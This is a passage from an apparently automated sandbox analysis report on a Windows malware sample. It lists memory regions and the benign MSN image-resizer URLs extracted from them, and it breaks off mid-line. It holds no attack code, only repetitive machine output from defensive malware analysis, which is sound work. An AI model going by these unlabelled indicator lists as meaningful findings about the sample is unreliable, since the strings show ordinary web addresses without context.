00000008.00000003.502518720.00000000065A9000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000002.533154697.0000000006650000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.495140579.0000000005AE8000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.422725299.0000000004769000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB19yFoT.img?h=75&w=100
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.345005015.00000000053A9000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.280176337.0000000004221000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.345197319.0000000006051000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.446385507.00000000059A0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.420058909.0000000004760000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.487341111.0000000005AC0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.409522338.0000000004519000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.502518720.00000000065A9000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.502749747.0000000006651000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.495140579.0000000005AE8000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.422725299.0000000004769000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB19yuvA.img?h=250&w=30
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.345005015.00000000053A9000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.280176337.0000000004221000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.292741553.0000000004307000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.292772803.0000000004307000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.345262940.0000000005A51000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.484907031.0000000005AB0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.420058909.0000000004760000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.487341111.0000000005AC0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.409522338.0000000004519000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.502518720.00000000065A9000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.495140579.0000000005AE8000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.422725299.0000000004769000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.486922603.0000000005AA8000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.502811746.0000000006631000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB19yxVU.img?h=166&w=31
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.345005015.00000000053A9000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.345701726.0000000006050000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.280176337.0000000004221000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.346694046.000000000604F000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.446385507.00000000059A0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.420058909.0000000004760000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.487341111.0000000005AC0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.409522338.0000000004519000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.502518720.00000000065A9000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000002.533154697.0000000006650000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.495140579.0000000005AE8000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.422725299.0000000004769000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB1kc8s.img?m=6&o=true&
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.330382505.0000000005388000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.335316985.0000000005328000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.338007811.0000000004501000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.357322813.00000000043C0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.283728311.00000000043F0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.337881619.0000000005388000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.283965593.00000000043F1000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.501599670.0000000005DD8000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.414971086.00000000045E0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.483756426.0000000005DC0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.483550226.0000000005E20000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.496566679.0000000005E99000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.446872861.0000000004489000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB6Ma4a.img?h=16&w=16&m
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.345005015.00000000053A9000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.280176337.0000000004221000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.345197319.0000000006051000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.446385507.00000000059A0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.420058909.0000000004760000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.487341111.0000000005AC0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.409522338.0000000004519000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.502518720.00000000065A9000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.502749747.0000000006651000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.495140579.0000000005AE8000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.422725299.0000000004769000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB7hjL.img?h=16&w=16&m=
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.335513554.00000000052E8000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.329946845.00000000052E0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.338174485.0000000004261000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.335394241.00000000052E1000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.448095229.0000000004568000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.483932785.0000000005D80000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.498402621.0000000005E19000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BBGjoVB.img?h=50&w=50&m
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.335513554.00000000052E8000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.329946845.00000000052E0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.338174485.0000000004261000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.335394241.00000000052E1000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.448095229.0000000004568000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.483932785.0000000005D80000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.498402621.0000000005E19000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BBIbOGs.img?h=16&w=16&m
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.335513554.00000000052E8000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.329946845.00000000052E0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.338174485.0000000004261000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.335394241.00000000052E1000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.448095229.0000000004568000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.483932785.0000000005D80000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.498402621.0000000005E19000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BBMVUFn.img?h=16&w=16&m
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.345005015.00000000053A9000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.345701726.0000000006050000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.330382505.0000000005388000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.280176337.0000000004221000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.335316985.0000000005328000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.338007811.0000000004501000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.283728311.00000000043F0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.337881619.0000000005388000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.346694046.000000000604F000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.338095551.00000000043C1000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.283965593.00000000043F1000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.446385507.00000000059A0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.420058909.0000000004760000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.487341111.0000000005AC0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.409522338.0000000004519000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.502518720.00000000065A9000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.414971086.00000000045E0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.483756426.0000000005DC0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000002.533154697.0000000006650000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.495140579.0000000005AE8000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.422725299.0000000004769000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BBO5Geh.img?h=16&w=16&m
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.335316985.0000000005328000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.338095551.00000000043C1000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.483756426.0000000005DC0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.498076357.0000000005DD9000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BBPRPvf.img?h=50&w=50&m
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.287712983.00000000043F0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.330382505.0000000005388000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.335513554.00000000052E8000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.292741553.0000000004307000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.329946845.00000000052E0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.292772803.0000000004307000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.290448651.00000000044B0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.283728311.00000000043F0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.337881619.0000000005388000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.338174485.0000000004261000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.345262940.0000000005A51000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.335394241.00000000052E1000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.484907031.0000000005AB0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000002.532907065.00000000065A8000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.426485012.0000000004760000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.448095229.0000000004568000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000002.530993511.0000000005E98000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.420058909.0000000004760000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.487341111.0000000005AC0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.414971086.00000000045E0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.495140579.0000000005AE8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BBPfCZL.img?h=27&w=27&m
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.330382505.0000000005388000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.335316985.0000000005328000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.338007811.0000000004501000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.283728311.00000000043F0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.337881619.0000000005388000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.338095551.00000000043C1000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.283965593.00000000043F1000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.414971086.00000000045E0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.483756426.0000000005DC0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.483550226.0000000005E20000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.496566679.0000000005E99000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.498076357.0000000005DD9000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.446872861.0000000004489000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BBRUB0d.img?h=16&w=16&m
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.330382505.0000000005388000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.335316985.0000000005328000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.338007811.0000000004501000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.357322813.00000000043C0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.283728311.00000000043F0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.337881619.0000000005388000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.283965593.00000000043F1000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.501599670.0000000005DD8000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.414971086.00000000045E0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.483756426.0000000005DC0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.483550226.0000000005E20000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.496566679.0000000005E99000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.446872861.0000000004489000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BBS0Ogx.img?h=75&w=100&
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.335513554.00000000052E8000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.329946845.00000000052E0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.338174485.0000000004261000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.335394241.00000000052E1000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.448095229.0000000004568000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.483932785.0000000005D80000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.498402621.0000000005E19000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BBSDdmG.img?h=50&w=50&m
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.335513554.00000000052E8000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.329946845.00000000052E0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.338174485.0000000004261000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.335394241.00000000052E1000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.448095229.0000000004568000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.483932785.0000000005D80000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.498402621.0000000005E19000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BBTrj40.img?h=50&w=50&m
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.335316985.0000000005328000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.338095551.00000000043C1000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.483756426.0000000005DC0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.498076357.0000000005DD9000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BBVBUge.img?h=50&w=50&m
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.335316985.0000000005328000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.338095551.00000000043C1000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.483756426.0000000005DC0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.498076357.0000000005DD9000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BBVQ7lO.img?h=50&w=50&m
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.330382505.0000000005388000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.335513554.00000000052E8000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.329946845.00000000052E0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.338007811.0000000004501000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.283728311.00000000043F0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.337881619.0000000005388000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.338174485.0000000004261000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.283965593.00000000043F1000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.335394241.00000000052E1000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.448095229.0000000004568000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.414971086.00000000045E0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.483550226.0000000005E20000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.496566679.0000000005E99000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.483932785.0000000005D80000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.446872861.0000000004489000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.498402621.0000000005E19000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	String found in binary or 